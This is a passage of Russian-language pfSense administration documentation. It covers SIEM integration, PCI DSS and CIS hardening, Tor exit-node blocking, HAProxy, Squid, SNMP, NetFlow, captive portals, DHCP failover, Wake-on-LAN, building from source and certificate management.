      <protocol>tcp</protocol>
    </server>
  </client>
  <localfile>
    <log_format>syslog</log_format>
    <location>/var/log/filter.log</location>
  </localfile>
  <localfile>
    <log_format>syslog</log_format>
    <location>/var/log/system.log</location>
  </localfile>
</ossec_config>
```

3. Запустите агент:

```bash
service wazuh-agent start
```

4. На Wazuh Manager проверьте подключение агента

Подробности интеграции pfSense с Wazuh описаны в разделе [интеграция pfSense с Wazuh](/docs/pfsense/pfsense-wazuh-integration/).

### Настройка для ELK/Graylog

1. Настройте Remote Logging как описано выше (порт Logstash или Graylog input)
2. На стороне ELK создайте Logstash pipeline для парсинга логов pfSense (filterlog format)
3. Используйте готовый Graylog Content Pack для pfSense при использовании Graylog

## Чек-лист PCI DSS для pfSense

PCI DSS требует соблюдения определенных требований к сетевой безопасности. pfSense может быть настроен для соответствия основным требованиям стандарта.

### Пошаговая настройка

1. **Требование 1 - Установка и поддержка конфигурации файрвола**:
   - Документируйте все правила файрвола с описаниями
   - Создайте правило deny-all в конце каждого списка правил (pfSense делает это по умолчанию)
   - Ограничьте входящий и исходящий трафик минимально необходимым
   - Разделите сети с данными карт через DMZ или отдельный [VLAN](/docs/pfsense/vlans/)

2. **Требование 2 - Изменение параметров по умолчанию**:
   - Измените пароль администратора
   - Измените порты веб-интерфейса и SSH
   - Отключите неиспользуемые сервисы (UPnP, SNMP, если не нужны)

3. **Требование 4 - Шифрование передачи данных**:
   - Включите HTTPS для веб-интерфейса с надежным сертификатом
   - Настройте VPN для удаленного доступа с шифрованием AES-256
   - Отключите слабые протоколы TLS: **System - Advanced - Admin Access** - минимум TLS 1.2

4. **Требование 6 - Обновление систем**:
   - Обновляйте pfSense и все пакеты до актуальных версий
   - Подпишитесь на уведомления безопасности pfSense

5. **Требование 8 - Идентификация и аутентификация**:
   - Настройте индивидуальные учетные записи для каждого администратора
   - Включите двухфакторную аутентификацию (рецепт выше)
   - Настройте блокировку при неудачных попытках входа

6. **Требование 10 - Отслеживание и мониторинг доступа**:
   - Включите логирование всех событий
   - Настройте отправку логов в SIEM (рецепт выше)
   - Обеспечьте хранение логов минимум 1 год (90 дней онлайн)
   - Синхронизируйте время через NTP

7. **Требование 11 - Тестирование систем безопасности**:
   - Установите IDS/IPS (Suricata, рецепт выше)
   - Проводите периодическое сканирование уязвимостей

## Харденинг по CIS Benchmark

CIS (Center for Internet Security) предоставляет детальные рекомендации по безопасной конфигурации. Следующие пункты основаны на CIS-практиках для сетевых устройств.

### Пошаговая настройка

1. **Управление доступом**:
   - Создайте именованные учетные записи для каждого администратора: **System - User Manager**
   - Назначьте минимально необходимые привилегии через группы
   - Отключите учетную запись admin и создайте именованную с правами администратора
   - Включите аудит действий администраторов

2. **Сетевые сервисы**:
   - Отключите IPv6 если не используется: **System - Advanced - Networking** - Allow IPv6
   - Отключите IGMP Proxy если не нужен
   - Отключите UPnP и NAT-PMP

3. **Криптографические настройки**:
   - **System - Advanced - Admin Access**:
     - **SSL/TLS Certificate** - RSA 2048+ или ECDSA
     - Отключите HTTP Redirect (только HTTPS)
   - Для VPN используйте AES-256-GCM и SHA-256
   - Отключите поддержку DES и 3DES в IPsec

4. **Логирование и аудит**:
   - Включите логирование по умолчанию для всех правил файрвола: **System - Advanced - Firewall & NAT** - Log packets matched from the default block rules
   - Настройте удаленный syslog с TLS
   - Включите логирование изменений конфигурации

5. **Сетевая безопасность**:
   - Включите Anti-Lockout Rule только на управляющем интерфейсе
   - Включите защиту от IP-spoofing: **System - Advanced - Firewall & NAT** - включите Bogon Networks blocking на всех WAN-интерфейсах
   - Настройте Rate Limiting через Firewall - Traffic Shaper для защиты от DDoS

6. **Резервное копирование**:
   - Настройте автоматическое резервное копирование конфигурации через AutoConfigBackup
   - Храните резервные копии в зашифрованном виде

## Блокировка Tor Exit Nodes и анонимайзеров

Блокировка выходных узлов Tor и известных анонимайзеров предотвращает обход корпоративных политик безопасности и снижает риск анонимных атак.

### Пошаговая настройка

1. **Через pfBlockerNG** (рекомендуется):
   - Перейдите в **Firewall - pfBlockerNG - IP - IPv4**
   - Добавьте фиды:

| Название | URL | Действие |
|---|---|---|
| Tor Exit Nodes | https://check.torproject.org/torbulkexitlist | Deny Both |
| dan.me.uk Tor | https://www.dan.me.uk/torlist/?exit | Deny Both |

   - Настройте **Update Frequency** - Every 1 hour (список узлов Tor меняется часто)

2. **Через Firewall Aliases** (альтернатива без pfBlockerNG):
   - Перейдите в **Firewall - Aliases**
   - Создайте алиас:
     - **Name** - Tor_Exit_Nodes
     - **Type** - URL Table (IPs)
     - **URL** - https://check.torproject.org/torbulkexitlist
     - **Update Freq** - 1

3. Создайте правила блокировки на WAN и LAN:

```
# Блокировка входящего трафика от Tor
Action: Block
Interface: WAN
Source: Tor_Exit_Nodes
Destination: any

# Блокировка исходящего трафика к Tor
Action: Block
Interface: LAN
Source: LAN net
Destination: Tor_Exit_Nodes
```

4. Для блокировки VPN-анонимайзеров добавьте дополнительные списки известных VPN-провайдеров в pfBlockerNG

5. Логируйте заблокированные попытки подключения для анализа: включите logging в правилах блокировки

Для комплексной защиты рекомендуется комбинировать блокировку Tor с [DNS sinkhole](/docs/pfsense/recipes/pfsense-network-recipes/) и IDS/IPS (Suricata).


---

# Рецепты сервисов pfSense - HAProxy, Squid, SNMP

Source: https://opennix.org/docs/pfsense/recipes/pfsense-service-recipes/


В этом разделе собраны рецепты настройки сетевых сервисов в pfSense: обратный прокси HAProxy с автоматическими сертификатами, кеширующий прокси Squid, мониторинг через SNMP и NetFlow, captive portal для гостевого доступа и другие сервисные сценарии.

Перед настройкой создайте резервную копию конфигурации: **Diagnostics - Backup & Restore**. Общий обзор пакетов pfSense описан в разделе [пакеты pfSense](/docs/pfsense/pfsense-packages/).

## HAProxy как обратный прокси с Let's Encrypt

HAProxy в pfSense выступает обратным прокси-сервером, принимая HTTPS-трафик на одном публичном IP и направляя его на разные внутренние веб-серверы по доменному имени. ACME-пакет автоматизирует выпуск и обновление сертификатов Let's Encrypt.

### Пошаговая настройка

1. Установите пакеты:
   - **System - Package Manager - Available Packages - haproxy-devel**
   - **System - Package Manager - Available Packages - acme**

2. Настройте ACME (Let's Encrypt):
   - Перейдите в **Services - ACME Certificates - Account Keys**
   - Нажмите **Add** и создайте учетную запись Let's Encrypt:
     - **Name** - LetsEncrypt
     - **ACME Server** - Let's Encrypt Production
     - Нажмите **Register ACME account key**

3. Создайте сертификат:
   - Перейдите в **Services - ACME Certificates - Certificates**
   - Нажмите **Add**:
     - **Name** - app1.example.com
     - **Domain SAN list** - добавьте домены (app1.example.com, app2.example.com)
     - **Method** - standalone HTTP (порт 8080) или DNS validation
     - Нажмите **Issue/Renew**

4. Настройте HAProxy Backend (внутренние серверы):
   - Перейдите в **Services - HAProxy - Backend**
   - Создайте backend для каждого веб-сервера:
     - **Name** - app1_backend
     - **Server list**:
       - **Name** - app1_server
       - **Address** - 192.168.1.10
       - **Port** - 80
     - **Health check method** - HTTP
     - **Health check URI** - /

5. Настройте HAProxy Frontend:
   - Перейдите в **Services - HAProxy - Frontend**
   - Создайте frontend:
     - **Name** - HTTPS_Frontend
     - **External Address** - WAN Address
     - **Port** - 443
     - **SSL Offloading** - включить
     - **SSL Certificate** - выберите сертификат ACME
     - **Type** - http/https (offloading)

6. Настройте ACL для маршрутизации по домену:
   - В разделе **Access Control Lists** frontend:
     - **Name** - app1_acl
     - **Expression** - Host matches
     - **Value** - app1.example.com
   - В разделе **Actions**:
     - **Action** - Use Backend
     - **Condition ACL names** - app1_acl
     - **Backend** - app1_backend

7. Повторите ACL и Actions для каждого домена

8. Создайте правило файрвола на WAN:

```
Action: Pass
Protocol: TCP
Destination: WAN address
Destination port: 443
```

9. Настройте перенаправление HTTP на HTTPS:
   - Создайте дополнительный frontend на порту 80
   - Включите **HTTP Redirect** на HTTPS

10. Настройте автоматическое обновление сертификатов: ACME обновляет сертификаты автоматически через cron

Подробности управления сертификатами описаны в разделе [сертификаты pfSense](/docs/pfsense/certificates/).

## HAProxy балансировка нагрузки для веб-серверов

HAProxy распределяет входящий трафик между несколькими серверами для обеспечения масштабируемости и отказоустойчивости. Поддерживает проверку здоровья серверов и автоматическое исключение неработающих узлов.

### Пошаговая настройка

1. Установите haproxy-devel (если не установлен)

2. Перейдите в **Services - HAProxy - Backend** и создайте backend:
   - **Name** - web_pool
   - **Balance** - Round Robin (или Least Connections)
   - **Server list** - добавьте все серверы:

| Name | Address | Port | Weight |
|---|---|---|---|
| web1 | 192.168.1.10 | 80 | 100 |
| web2 | 192.168.1.11 | 80 | 100 |
| web3 | 192.168.1.12 | 80 | 100 |

   - **Health check method** - HTTP
   - **Health check URI** - /health
   - **Health check HTTP version** - HTTP/1.1
   - **Health check interval** - 5000 (мс)

3. Настройте sticky sessions (при необходимости):
   - **Cookie Name** - SERVERID
   - **Cookie Mode** - Insert

4. Создайте frontend:
   - **Name** - Web_LB_Frontend
   - **External Address** - WAN Address
   - **Port** - 443
   - **SSL Offloading** - включить
   - **Default Backend** - web_pool

5. Мониторинг HAProxy:
   - Перейдите в **Services - HAProxy - Stats**
   - Включите Statistics page
   - Доступ к статистике: https://pfSense_IP:stats_port/haproxy?stats

6. Настройте [правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) на WAN для разрешения входящего трафика на порт 443

## Squid прозрачный прокси с кешированием

Squid в режиме кеширующего прокси хранит копии часто запрашиваемого контента, сокращая использование интернет-канала и ускоряя загрузку для пользователей.

### Пошаговая настройка

1. Установите Squid: **System - Package Manager - Available Packages - squid**

2. Перейдите в **Services - Squid Proxy Server - General**:
   - **Enable Squid Proxy** - включить
   - **Proxy Interface** - LAN
   - **Proxy Port** - 3128
   - **Transparent HTTP Proxy** - включить
   - **Bypass Proxy for Private Address Destination** - включить

3. Перейдите в **Services - Squid Proxy Server - Local Cache**:
   - **Cache Replacement Policy** - Heap LFUDA (рекомендуется для кеширования)
   - **Hard Disk Cache Size** - размер кеша в МБ (например, 10000 для 10 ГБ)
   - **Hard Disk Cache System** - ufs или aufs
   - **Memory Cache Size** - 256 или 512 МБ
   - **Maximum Object Size** - 256 МБ (для кеширования обновлений)
   - **Maximum Object Size in RAM** - 32 КБ

4. Для кеширования обновлений Windows/Linux добавьте в **Custom Options** (Advanced):

```
refresh_pattern -i windowsupdate.com/.*\.(cab|exe|ms[i|u|f]|[ap]sf|wm[v|a]|dat|zip) 43200 80% 129600 reload-into-ims
refresh_pattern -i update.microsoft.com/.*\.(cab|exe|ms[i|u|f]|[ap]sf|wm[v|a]|dat|zip) 43200 80% 129600 reload-into-ims
refresh_pattern -i download.windowsupdate.com/.*\.(cab|exe|ms[i|u|f]|[ap]sf|wm[v|a]|dat|zip) 43200 80% 129600 reload-into-ims
```

5. Перейдите в **Services - Squid Proxy Server - ACLs**:
   - **Allowed Subnets** - 192.168.1.0/24
   - **Unrestricted IPs** - IP-адреса, не проходящие через прокси (опционально)

6. Мониторинг: **Services - Squid Proxy Server - Real Time** и установите пакет **LightSquid** для отчетности

## SNMP мониторинг с Zabbix/LibreNMS

SNMP (Simple Network Management Protocol) позволяет системам мониторинга (Zabbix, LibreNMS, PRTG) собирать данные о состоянии pfSense: загрузка CPU, память, трафик интерфейсов, количество состояний файрвола.

### Пошаговая настройка

1. Перейдите в **Services - SNMP**:
   - **Enable** - включить
   - **System Location** - физическое расположение (серверная комната, стойка)
   - **System Contact** - контактный email
   - **Community String** - измените с public на уникальную строку (SNMPv2c)
   - **Bind Interface** - LAN (не привязывайте к WAN)
   - **SNMP Modules** - включите MibII, Netgraph, PF, Host Resources

2. Для SNMPv3 (рекомендуется для безопасности):
   - Настройте через SSH на pfSense, отредактировав `/usr/local/etc/snmpd.conf`
   - Добавьте пользователя SNMPv3 с аутентификацией SHA и шифрованием AES

3. Создайте правило файрвола на LAN:

```
Action: Pass
Protocol: UDP
Source: monitoring_server_IP
Destination: LAN address
Destination port: 161
```

4. **На Zabbix**:
   - Добавьте хост с IP pfSense
   - Примените шаблон Template Net pfSense SNMPv2 (или SNMPv3)
   - Укажите SNMP community string

5. **На LibreNMS**:
   - Добавьте устройство через web-интерфейс или CLI:
   ```bash
   lnms device:add pfSense_IP -c community_string
   ```
   - LibreNMS автоматически определит pfSense и применит нужные сенсоры

6. Основные OID для мониторинга pfSense:

| Параметр | OID |
|---|---|
| CPU Usage | 1.3.6.1.4.1.2021.11 |
| Memory Usage | 1.3.6.1.4.1.2021.4 |
| Interface Traffic | 1.3.6.1.2.1.2.2.1 |
| PF States | 1.3.6.1.4.1.12325.1.200.1 |

Для расширенного мониторинга pfSense обратитесь к разделу [мониторинг pfSense](/docs/pfsense/monitoring/).

## NetFlow/sFlow экспорт для анализа трафика

NetFlow экспортирует метаданные сетевых потоков (IP-адреса, порты, объемы, протоколы) в коллектор для детального анализа трафика и обнаружения аномалий.

### Пошаговая настройка

1. Установите пакет: **System - Package Manager - Available Packages - softflowd**

2. Перейдите в **Services - softflowd**:
   - **Interface** - LAN (или WAN, в зависимости от требований)
   - **Host** - IP-адрес NetFlow-коллектора (например, 192.168.1.100)
   - **Port** - порт коллектора (например, 2055)
   - **Max Flows** - 8192
   - **NetFlow Version** - 9 (или IPFIX для v10)
   - **Tracking Level** - Full (IP + Port + Protocol)

3. Для мониторинга нескольких интерфейсов добавьте отдельные экземпляры softflowd

4. **Коллекторы NetFlow**:
   - **ntopng** - установите через Package Manager на pfSense или отдельном сервере
   - **Elastic Stack** - используйте Logstash с input netflow
   - **nfdump/nfsen** - легковесное решение для хранения и анализа

5. Создайте правило файрвола для разрешения отправки NetFlow-данных к коллектору

6. Альтернативно для sFlow используйте пакет **hsflowd**:
   - Установите через pkg из консоли pfSense
   - Настройте коллектор sFlow

## Captive Portal с ваучерами для гостей

Captive portal перенаправляет пользователей на страницу аутентификации перед предоставлением доступа к интернету. Система ваучеров позволяет генерировать одноразовые коды для гостей отеля, кафе или конференции.

### Пошаговая настройка

1. Подготовьте отдельный интерфейс или VLAN для гостевой сети:
   - Создайте VLAN для гостей (например, VLAN 50 - 10.50.0.0/24)
   - Настройте DHCP для гостевого интерфейса

2. Перейдите в **Services - Captive Portal**:
   - Нажмите **Add** для создания новой зоны
   - **Zone Name** - Guest_WiFi

3. Настройте параметры зоны:
   - **Interfaces** - гостевой интерфейс (VLAN 50)
   - **Maximum Concurrent Connections** - ограничение (например, 100)
   - **Idle Timeout** - 30 минут
   - **Hard Timeout** - 480 минут (8 часов)
   - **Pass-through MAC** - MAC-адреса устройств без аутентификации (принтеры, Smart TV)

4. Настройте страницу аутентификации:
   - Загрузите HTML-шаблон портала в поле **Portal page contents**
   - Добавьте логотип и стилизацию под бренд заведения

5. Включите ваучеры:
   - Перейдите во вкладку **Vouchers**
   - **Enable Vouchers** - включить
   - **Voucher Rolls** - нажмите **Add** для создания серии:
     - **Roll Number** - 1
     - **Minutes per Ticket** - 60 (1 час) или 1440 (24 часа)
     - **Count** - количество ваучеров в серии (например, 1000)
   - Нажмите **Generate** и экспортируйте список ваучеров в CSV

6. Создайте правила файрвола на гостевом интерфейсе:

```
# Блокировка доступа к внутренней сети
Action: Block
Interface: Guest_WiFi
Source: Guest_WiFi net
Destination: LAN net

# Разрешение интернет-доступа
Action: Pass
Interface: Guest_WiFi
Source: Guest_WiFi net
Destination: any
```

7. Настройте bandwidth limiter для гостей: **Firewall - Traffic Shaper - Limiters**
   - Ограничьте скорость на пользователя (например, 5 Mbps download / 2 Mbps upload)

Для настройки гостевой изоляции через VLAN обратитесь к разделу [VLAN pfSense](/docs/pfsense/vlans/).

## DHCP Failover с кластером высокой доступности

В конфигурации высокой доступности (HA) pfSense два узла синхронизируют DHCP-сервер для обеспечения непрерывной выдачи адресов при сбое одного из узлов.

### Пошаговая настройка

1. Убедитесь, что [кластер высокой доступности](/docs/pfsense/high-availability/) pfSense настроен и работает (CARP + pfsync)

2. На основном узле перейдите в **Services - DHCP Server - LAN**:
   - **Enable** - включить
   - **Failover Peer IP** - IP-адрес вторичного узла pfSense (CARP-интерфейс или выделенный sync-интерфейс)

3. На вторичном узле:
   - Настройте аналогичный DHCP-сервер с теми же параметрами пула
   - **Failover Peer IP** - IP основного узла

4. Настройте синхронизацию конфигурации:
   - На основном узле: **System - High Avail. Sync**
   - Включите синхронизацию DHCP Server

5. Проверьте работу failover:
   - Выключите основной узел
   - Убедитесь, что клиенты продолжают получать IP от вторичного узла
   - Аренды DHCP сохраняются при переключении

6. Мониторинг: **Status - DHCP Leases** - просмотр активных аренд на обоих узлах

> **Важно**: при настройке DHCP failover оба узла должны использовать непересекающиеся диапазоны адресов или общий диапазон с координацией через failover protocol. pfSense использует ISC DHCP, который поддерживает native failover.

## Wake-on-LAN через pfSense

Wake-on-LAN (WoL) позволяет удаленно включать компьютеры в сети, отправляя magic packet на MAC-адрес целевого устройства. pfSense предоставляет встроенный интерфейс для WoL.

### Пошаговая настройка

1. Убедитесь, что целевые компьютеры поддерживают WoL:
   - В BIOS/UEFI включите Wake-on-LAN (обычно в разделе Power Management)
   - В ОС включите поддержку WoL на сетевом адаптере:
     - Windows: Device Manager - Network Adapter - Properties - Power Management - Allow this device to wake the computer
     - Linux: `ethtool -s eth0 wol g`

2. Перейдите в **Services - Wake-on-LAN**:
   - **Interface** - LAN (интерфейс, к которому подключено целевое устройство)
   - **MAC Address** - MAC-адрес целевого устройства

3. Нажмите **Send** для отправки magic packet

4. Для удобства сохраните устройства:
   - Заполните **MAC Address** и **Description**
   - Нажмите **Save** для добавления в список
   - В дальнейшем просто нажимайте **Wake** напротив нужного устройства

5. Для WoL из другой подсети (через VPN или WAN):
   - Необходим directed broadcast в целевую подсеть
   - Создайте правило файрвола, разрешающее UDP-пакеты на порт 9 (или 7) к broadcast-адресу целевой подсети
   - Настройте направленный broadcast: **System - Advanced - Firewall & NAT** - при необходимости включите Directed Broadcast

6. WoL через VPN:
   - Подключитесь к pfSense через [VPN](/docs/pfsense/vpn/)
   - Используйте встроенный интерфейс WoL или отправьте magic packet утилитой с VPN-клиента

> **Важно**: WoL работает только в пределах broadcast-домена (одной подсети). Для пробуждения через маршрутизируемые сети требуется directed broadcast или специализированный relay.


---

# Сборка pfSense из исходного кода

Source: https://opennix.org/docs/pfsense/development/pfsense-building-from-source/


pfSense CE - проект с открытым исходным кодом на базе FreeBSD. Исходный код размещен на GitHub и включает три основных репозитория: базовую систему с GUI, модифицированные исходники FreeBSD и коллекцию портов. Разработчики могут собирать pfSense из исходников, вносить исправления через System Patches без полной пересборки или участвовать в развитии проекта через pull request.

## Репозитории исходного кода

Разработка pfSense CE ведется в трех репозиториях на GitHub:

| Репозиторий | Содержимое | Назначение |
|---|---|---|
| [pfSense/pfSense](https://github.com/pfsense/pfSense) | GUI-код, скрипты сборки | Веб-интерфейс, PHP-логика, утилиты |
| [pfSense/FreeBSD-src](https://github.com/pfsense/FreeBSD-src) | Исходный код ОС | Ядро и базовая система FreeBSD |
| [pfSense/FreeBSD-ports](https://github.com/pfsense/FreeBSD-ports) | Порты и пакеты | Сборочная информация для ПО, пакеты pfSense |

Основная ветка разработки - `master` для репозитория pfSense/pfSense и `devel` для FreeBSD-ports. Релизные ветки именуются по схеме `RELENG_2_8_1`.

## Требования к среде сборки

Для сборки pfSense из исходного кода необходима среда на базе FreeBSD соответствующей версии. pfSense использует poudriere для сборки пакетов и формирования установочных образов.

Минимальные требования:

- FreeBSD версии, соответствующей целевому релизу pfSense (см. [таблицу соответствия](https://docs.netgate.com/pfsense/en/latest/development/freebsd-version.html))
- Установленный poudriere для сборки портов
- Достаточное дисковое пространство (минимум 50 ГБ для полной сборки)
- Git для работы с репозиториями

```bash
# Установка необходимых инструментов на FreeBSD
pkg install git poudriere
```

## Структура репозитория pfSense

Репозиторий pfSense/pfSense содержит:

- `src/` - PHP-файлы веб-интерфейса, конфигурационные скрипты
- `tools/` - скрипты сборки и утилиты разработчика
- `src/etc/inc/` - основные PHP-модули (config.inc, util.inc, interfaces.inc)
- `src/usr/local/www/` - страницы веб-интерфейса
- `src/etc/phpshellskel/` - скрипты PHP Shell

## Сборка из исходного кода

Процесс сборки pfSense CE из исходников:

```bash
# Клонирование основного репозитория
git clone https://github.com/pfsense/pfSense.git
cd pfSense

# Переключение на нужную ветку (например, RELENG_2_8_1)
git checkout RELENG_2_8_1

# Запуск сборки (требуется настроенная среда poudriere)
./build.sh
```

Полная сборка включает компиляцию ядра FreeBSD, сборку всех портов через poudriere и формирование установочного ISO-образа. Процесс занимает значительное время и требует правильной настройки среды.

## System Patches - патчи без пересборки

Пакет System Patches позволяет применять исправления к pfSense без полной пересборки системы. Патчи могут быть получены из официального репозитория, вставлены вручную или загружены из сторонних источников.

### Установка

Установите пакет через **System > Package Manager > Available Packages**, найдя `System Patches`.

### Использование

После установки пакет доступен через **System > Patches**. Он предоставляет:

- Получение рекомендованных патчей от Netgate с возможностью автоприменения
- Добавление пользовательских патчей из URL, текста или файла
- Применение и откат патчей через веб-интерфейс
- Тестирование исправлений из pull request до их включения в релиз

System Patches особенно полезен для проверки исправлений из GitHub перед обновлением до следующей версии pfSense.

## gitsync - обновление между снимками

Утилита gitsync синхронизирует PHP-код из Git-репозитория pfSense CE, позволяя получить исправления между официальными релизами без установки нового снимка.

### Ограничения

- Работает только с pfSense CE, не совместим с pfSense Plus
- Синхронизирует только PHP-файлы - бинарные изменения не применяются
- Некоторые PHP-изменения требуют соответствующих бинарных обновлений, доступных только через полный снимок
- Рекомендуется использовать только по указанию разработчиков или при глубоком понимании процесса разработки

### Запуск gitsync

Из меню консоли pfSense выберите пункт 12 (developer shell):

```
> playback gitsync master
```

Или из стандартной оболочки (пункт 8 консоли):

```bash
pfSsh.php playback gitsync master
```

Для синхронизации с конкретной веткой релиза замените `master` на имя ветки:

```bash
pfSsh.php playback gitsync RELENG_2_8_1
```

Если Git не установлен, установите его вручную:

```bash
pkg install git
```

При ошибках, связанных с изменением URL репозитория, удалите старый клон:

```bash
rm -rf /root/pfsense/
pfSsh.php playback gitsync master
```

## Отправка pull request

Для внесения изменений в pfSense CE через GitHub:

1. Создайте запись об ошибке или функции в [Redmine pfSense](https://redmine.pfsense.org) (исключение - мелкие исправления опечаток)
2. Форкните нужный репозиторий:
   - `pfSense/pfSense` - для изменений базовой системы и GUI
   - `pfSense/FreeBSD-ports` - для изменений пакетов
3. Внесите изменения в соответствующую ветку:
   - `master` - для pfSense/pfSense
   - `devel` - для FreeBSD-ports
4. Укажите номер записи Redmine в сообщении коммита
5. Создайте pull request с описанием и ссылкой на Redmine
6. Добавьте ссылку на PR в соответствующую запись Redmine

Pull request можно протестировать на действующей системе через пакет System Patches до его принятия в основную ветку.

## Руководство по стилю кодирования

pfSense использует стиль K&R BSD KNF. Основные правила:

### Форматирование

- Табуляция для отступов (ширина 8), пробелы запрещены
- Фигурные скобки обязательны для всех блоков `if`, `for`, `foreach`, даже однострочных
- Пробел между ключевым словом и скобкой (`if (`, `foreach (`), но не между именем функции и аргументами (`function_name(`)
- Отсутствие пробелов в конце строк

### PHP-соглашения

- Имена переменных в нижнем регистре с подчеркиванием (`$my_variable`) или camelCase (`$myVariable`)
- Не использовать `$g` как переменную цикла - конфликт с глобальной переменной pfSense `$g`
- Использовать `elseif` вместо `else if` для совместимости с альтернативным синтаксисом PHP
- Не использовать устаревшие функции PHP

### Безопасность

- Минимизировать вызовы shell-команд; при необходимости использовать `escapeshellarg()` для переменных
- Всегда экранировать пользовательский ввод через `htmlspecialchars()` при выводе
- Следовать принципам MVC: разделять логику отображения, валидации и хранения данных

### Комментарии

- Использовать `//` или `/* */`, писать на английском языке
- Метки: `TODO:` для запланированных доработок, `FIXME:` для известных проблем, `NOTE:` для важных пояснений

## Рекомендации по PHP 8.x

pfSense перешел на PHP 8.x, что требует внимания при разработке:

- Строгая типизация: неявные приведения типов вызывают предупреждения
- Удаленные функции: `each()`, `create_function()`, `mysql_*` недоступны
- Именованные аргументы: совместимость с именами параметров в функциях
- Использовать `elseif` вместо `else if` - последний вариант некорректно работает с альтернативным синтаксисом

Проверяйте совместимость кода с целевой версией PHP перед отправкой pull request.

## Ядро отладки

Для диагностики проблем на уровне ядра pfSense предоставляет пакет с отладочными символами:

```bash
pkg install pfSense-kernel-debug
```

Отладочное ядро содержит символы, необходимые для анализа дампов памяти (core dumps) и трассировки ядра. Используйте его при воспроизведении kernel panic или при подготовке отчета об ошибке, связанной с ядром.

## Политика по проблемам FreeBSD

pfSense основан на FreeBSD, и некоторые проблемы относятся к базовой системе FreeBSD, а не к pfSense. При обнаружении ошибки, связанной с ядром, драйверами или базовыми утилитами FreeBSD:

- Проверьте, воспроизводится ли проблема на чистой FreeBSD соответствующей версии
- Если проблема воспроизводится на FreeBSD - сообщите о ней в [баг-трекер FreeBSD](https://bugs.freebsd.org/)
- Если проблема специфична для pfSense - создайте запись в Redmine pfSense

Разработчики Netgate не занимаются исправлением проблем в базовой системе FreeBSD, за исключением критических уязвимостей безопасности.

## Сообщение об ошибках и запрос функций

### Сообщение об ошибках

Для сообщения об ошибке в pfSense:

1. Проверьте, не описана ли проблема в существующих записях [Redmine pfSense](https://redmine.pfsense.org)
2. Соберите диагностическую информацию (версия pfSense, версия FreeBSD, логи)
3. Создайте новую запись с детальным описанием: шаги воспроизведения, ожидаемое и фактическое поведение
4. Приложите скриншоты, логи и информацию о panic (если применимо)

### Запрос функций

Запросы новых функций также создаются в Redmine. Опишите предлагаемую функциональность, обоснование и потенциальные варианты реализации. Технические вопросы по разработке обсуждаются на [форуме Netgate](https://forum.netgate.com).

## Связанные разделы

- [Разработка пакетов pfSense](/docs/pfsense/development/pfsense-package-development/) - создание собственных пакетов, структура порта, XML-манифест
- [Пользовательские скрипты pfSense](/docs/pfsense/development/pfsense-custom-scripts/) - скрипты автоматизации, Shellcmd и Cron
- [API и автоматизация](/docs/pfsense/development/pfsense-api-automation/) - программное управление через REST API


---

# Сертификаты pfSense - CA, TLS, Let's Encrypt

Source: https://opennix.org/docs/pfsense/certificates/pfsense-certificate-management/


Менеджер сертификатов pfSense (System > Certificates) предоставляет централизованное управление всеми компонентами PKI - центрами сертификации, сертификатами и списками отзыва. Все сертификаты, используемые компонентами pfSense, хранятся в единой базе и доступны для выбора в настройках соответствующих сервисов. Данное руководство описывает полный цикл работы с сертификатами - от создания внутреннего CA до автоматизации получения публичных сертификатов через Let's Encrypt.

## Структура Certificate Manager

Менеджер сертификатов разделён на три вкладки, каждая из которых отвечает за отдельный компонент PKI.

| Вкладка | Назначение |
|---|---|
| Authorities | Управление центрами сертификации (CA) |
| Certificates | Управление серверными и клиентскими сертификатами |
| Certificate Revocation | Управление списками отзыва сертификатов (CRL) |

Переход между вкладками осуществляется из меню **System > Certificates**. Каждый компонент может быть создан локально или импортирован из внешнего источника.

## Создание внутреннего центра сертификации

Внутренний CA (Certificate Authority) является корневым элементом доверия для всей PKI. Все сертификаты, подписанные этим CA, будут приняты сервисами pfSense, настроенными на доверие данному CA.

### Процедура создания CA

1. Перейти в **System > Certificates**, вкладка **Authorities**
2. Нажать **Add** для создания нового CA
3. Заполнить параметры:

| Параметр | Значение | Описание |
|---|---|---|
| Descriptive name | Internal-CA | Произвольное имя для идентификации CA в интерфейсе |
| Method | Create an internal Certificate Authority | Создание нового самоподписанного CA |
| Key type | RSA | Тип криптографического ключа |
| Key length | 2048 или 4096 | Длина ключа в битах. 4096 обеспечивает большую криптостойкость |
| Digest Algorithm | SHA256 | Алгоритм хэширования для подписи |
| Lifetime | 3650 | Срок действия CA в днях (10 лет) |
| Common Name | internal-ca | Уникальное имя CA в формате CN |
| Country Code | RU | Код страны (ISO 3166-1 alpha-2) |
| State/Province | Moscow | Регион |
| City | Moscow | Город |
| Organization | Company Name | Название организации |

4. Нажать **Save** для создания CA

После создания CA его сертификат (без закрытого ключа) необходимо экспортировать и установить на клиентские устройства для обеспечения доверия. Экспорт выполняется нажатием на значок загрузки напротив CA в списке.

### Промежуточные CA

pfSense поддерживает создание промежуточных CA, подписанных корневым CA. Это позволяет выстраивать цепочку доверия и ограничивать область применения сертификатов. Для создания промежуточного CA следует выбрать метод **Create an intermediate Certificate Authority** и указать родительский CA.

Рекомендуется создавать отдельные CA для различных целей:

- CA для OpenVPN-подключений
- CA для IPsec VPN
- CA для веб-интерфейса и внутренних сервисов

Такое разделение обеспечивает изоляцию - отзыв или компрометация одного CA не затрагивает сертификаты, выданные другими CA.

## Создание серверных сертификатов

Серверные сертификаты используются для идентификации сервисов pfSense перед клиентами. Типичные сценарии применения - защита веб-интерфейса (HTTPS), серверная сторона OpenVPN и серверная часть IPsec.

### Процедура создания серверного сертификата

1. Перейти в **System > Certificates**, вкладка **Certificates**
2. Нажать **Add/Sign**
3. Заполнить параметры:

| Параметр | Значение | Описание |
|---|---|---|
| Method | Create an internal Certificate | Создание нового сертификата |
| Descriptive name | WebGUI-Cert | Имя для идентификации в интерфейсе |
| Certificate authority | Internal-CA | CA, который подпишет этот сертификат |
| Key type | RSA | Тип ключа |
| Key length | 2048 | Длина ключа |
| Digest Algorithm | SHA256 | Алгоритм хэширования |
| Lifetime | 398 | Срок действия в днях |
| Common Name | firewall.example.com | FQDN сервера |
| Certificate Type | Server Certificate | Тип сертификата |

4. В секции **Alternative Names** добавить все DNS-имена и IP-адреса, по которым будет доступен сервис
5. Нажать **Save**

> **Внимание**:
>
> Современные браузеры требуют наличия Subject Alternative Name (SAN) в сертификате. Поле Common Name (CN) используется только как запасной вариант в устаревших клиентах. Необходимо добавить FQDN и IP-адреса в секцию Alternative Names.

### Привязка сертификата к веб-интерфейсу

После создания серверного сертификата его необходимо назначить веб-интерфейсу:

1. Перейти в **System > Advanced**, вкладка **Admin Access**
2. В поле **SSL/TLS Certificate** выбрать созданный сертификат
